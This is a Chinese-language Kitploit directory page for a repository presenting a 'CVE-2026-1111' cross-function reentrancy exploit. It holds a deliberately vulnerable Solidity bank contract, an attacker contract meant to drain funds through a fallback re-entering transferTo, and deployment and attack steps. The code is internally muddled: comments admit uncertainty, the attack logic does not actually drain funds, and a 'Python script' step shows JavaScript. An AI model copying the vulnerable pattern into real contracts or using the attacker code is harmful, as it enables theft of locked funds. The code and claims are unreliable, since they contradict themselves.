Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — 智能合约的跨函数重入漏洞利用示例,包含易受攻击的 Solidity 合约和攻击者合约,演示通过 fallback 重入耗尽资金。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
漏洞分析漏洞利用学习与教育
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

智能合约的跨函数重入漏洞利用示例,包含易受攻击的 Solidity 合约和攻击者合约,演示通过 fallback 重入耗尽资金。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
31个月前尚未审核
分享

CVE-2026-1111 – 智能合约跨函数重入

程序代码(Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – 智能合约中的跨函数重入

Severity: Critical

概述

该智能合约缺少全局重入防护,攻击者可以在 withdraw 调用期间通过另一个函数重新进入合约,绕过局部防护并耗尽资金。

漏洞详情

  • 类型: 重入
  • 影响: 窃取所有锁定的以太币。
  • 根本原因: withdraw 函数在外部调用之后才更新余额,而另一个修改状态的函数(transferTo)可以被重入调用,从而操纵余额。

漏洞利用演示

  1. 启动本地以太坊节点(Ganache):
    root@kitploit:~
    ganache-cli
    
  2. 使用 Remix 或 Truffle 部署 VulnerableBank.sol 和 Attacker.sol。
  3. 通过 Python 脚本执行攻击(使用 Remix 控制台模拟):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
下载工具